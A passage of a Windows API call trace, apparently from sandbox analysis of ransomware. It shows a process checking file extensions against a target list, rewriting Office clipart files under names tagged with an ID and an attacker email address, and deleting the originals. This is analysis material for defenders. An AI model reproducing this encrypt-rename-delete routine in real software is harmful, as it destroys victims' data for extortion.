	[0208.220] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0208.221] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.221] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.221] SetEndOfFile (hFile=0x380) returned 1
	[0208.222] CloseHandle (hObject=0x380) returned 1
	[0208.222] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.222] SetEndOfFile (hFile=0x37c) returned 1
	[0208.223] CloseHandle (hObject=0x37c) returned 1
	[0208.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0208.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString=".doc") returned 4
	[0208.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString=".docx") returned 5
	[0208.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.224] lstrlenW (lpString=".pdf") returned 4
	[0208.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString=".xls") returned 4
	[0208.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.224] lstrlenW (lpString=".xlsx") returned 5
	[0208.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.224] lstrlenW (lpString=".ppt") returned 4
	[0208.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString=".zip") returned 4
	[0208.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.224] lstrlenW (lpString=".rar") returned 4
	[0208.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString=".bz2") returned 4
	[0208.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString=".7z") returned 3
	[0208.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString=".dbf") returned 4
	[0208.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString=".1cd") returned 4
	[0208.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString=".jpg") returned 4
	[0208.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.225] lstrlenW (lpString=".doc") returned 4
	[0208.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString=".docx") returned 5
	[0208.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.225] lstrlenW (lpString=".pdf") returned 4
	[0208.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString=".xls") returned 4
	[0208.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.225] lstrlenW (lpString=".xlsx") returned 5
	[0208.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.225] lstrlenW (lpString=".ppt") returned 4
	[0208.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.225] lstrlenW (lpString=".zip") returned 4
	[0208.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.225] lstrlenW (lpString=".rar") returned 4
	[0208.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString=".bz2") returned 4
	[0208.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString=".7z") returned 3
	[0208.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.225] lstrlenW (lpString=".dbf") returned 4
	[0208.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.225] lstrlenW (lpString=".1cd") returned 4
	[0208.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0208.225] lstrlenW (lpString=".jpg") returned 4
	[0208.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.226] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.226] lstrlenW (lpString="HH00687_.WMF") returned 12
	[0208.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.226] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=4340) returned 1
	[0208.226] CloseHandle (hObject=0x37c) returned 1
	[0208.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220
	[0208.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.226] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.226] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.227] GetLastError () returned 0x0
	[0208.227] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x10f4, lpOverlapped=0x0) returned 1
	[0208.229] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1100, lpOverlapped=0x0) returned 1
	[0208.230] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.230] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.230] SetEndOfFile (hFile=0x380) returned 1
	[0208.230] CloseHandle (hObject=0x380) returned 1
	[0208.230] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.230] SetEndOfFile (hFile=0x37c) returned 1
	[0208.231] CloseHandle (hObject=0x37c) returned 1
	[0208.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0208.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.236] lstrlenW (lpString=".doc") returned 4
	[0208.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.236] lstrlenW (lpString=".docx") returned 5
	[0208.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.236] lstrlenW (lpString=".pdf") returned 4
	[0208.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.236] lstrlenW (lpString=".xls") returned 4
	[0208.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.236] lstrlenW (lpString=".xlsx") returned 5
	[0208.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.236] lstrlenW (lpString=".ppt") returned 4
	[0208.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.236] lstrlenW (lpString=".zip") returned 4
	[0208.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.236] lstrlenW (lpString=".rar") returned 4
	[0208.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.236] lstrlenW (lpString=".bz2") returned 4
	[0208.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString=".7z") returned 3
	[0208.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString=".dbf") returned 4
	[0208.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString=".1cd") returned 4
	[0208.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString=".jpg") returned 4
	[0208.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString=".doc") returned 4
	[0208.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString=".docx") returned 5
	[0208.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.237] lstrlenW (lpString=".pdf") returned 4
	[0208.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString=".xls") returned 4
	[0208.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.237] lstrlenW (lpString=".xlsx") returned 5
	[0208.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.237] lstrlenW (lpString=".ppt") returned 4
	[0208.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.237] lstrlenW (lpString=".zip") returned 4
	[0208.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.237] lstrlenW (lpString=".rar") returned 4
	[0208.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.237] lstrlenW (lpString=".bz2") returned 4
	[0208.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.238] lstrlenW (lpString=".7z") returned 3
	[0208.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.238] lstrlenW (lpString=".dbf") returned 4
	[0208.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.238] lstrlenW (lpString=".1cd") returned 4
	[0208.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0208.238] lstrlenW (lpString=".jpg") returned 4
	[0208.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.238] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.238] lstrlenW (lpString="HH00688_.WMF") returned 12
	[0208.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.239] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=7084) returned 1
	[0208.239] CloseHandle (hObject=0x37c) returned 1
	[0208.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220
	[0208.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.239] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.239] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.240] GetLastError () returned 0x0
	[0208.240] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x1bac, lpOverlapped=0x0) returned 1
	[0208.241] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0208.242] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.242] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.242] SetEndOfFile (hFile=0x380) returned 1
	[0208.243] CloseHandle (hObject=0x380) returned 1
	[0208.243] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.243] SetEndOfFile (hFile=0x37c) returned 1
	[0208.243] CloseHandle (hObject=0x37c) returned 1
	[0208.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.244] lstrlenW (lpString=".doc") returned 4
	[0208.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.244] lstrlenW (lpString=".docx") returned 5
	[0208.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.244] lstrlenW (lpString=".pdf") returned 4
	[0208.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.244] lstrlenW (lpString=".xls") returned 4
	[0208.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.244] lstrlenW (lpString=".xlsx") returned 5
	[0208.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.245] lstrlenW (lpString=".ppt") returned 4
	[0208.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString=".zip") returned 4
	[0208.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.245] lstrlenW (lpString=".rar") returned 4
	[0208.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString=".bz2") returned 4
	[0208.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString=".7z") returned 3
	[0208.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString=".dbf") returned 4
	[0208.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString=".1cd") returned 4
	[0208.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString=".jpg") returned 4
	[0208.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.245] lstrlenW (lpString=".doc") returned 4
	[0208.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString=".docx") returned 5
	[0208.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.245] lstrlenW (lpString=".pdf") returned 4
	[0208.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.245] lstrlenW (lpString=".xls") returned 4
	[0208.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.245] lstrlenW (lpString=".xlsx") returned 5
	[0208.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.245] lstrlenW (lpString=".ppt") returned 4
	[0208.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.246] lstrlenW (lpString=".zip") returned 4
	[0208.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.246] lstrlenW (lpString=".rar") returned 4
	[0208.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.246] lstrlenW (lpString=".bz2") returned 4
	[0208.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.246] lstrlenW (lpString=".7z") returned 3
	[0208.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.246] lstrlenW (lpString=".dbf") returned 4
	[0208.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.246] lstrlenW (lpString=".1cd") returned 4
	[0208.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0208.246] lstrlenW (lpString=".jpg") returned 4
	[0208.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.246] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.246] lstrlenW (lpString="HH00693_.WMF") returned 12
	[0208.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.247] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=7098) returned 1
	[0208.247] CloseHandle (hObject=0x37c) returned 1
	[0208.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220
	[0208.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.247] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.247] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.248] GetLastError () returned 0x0
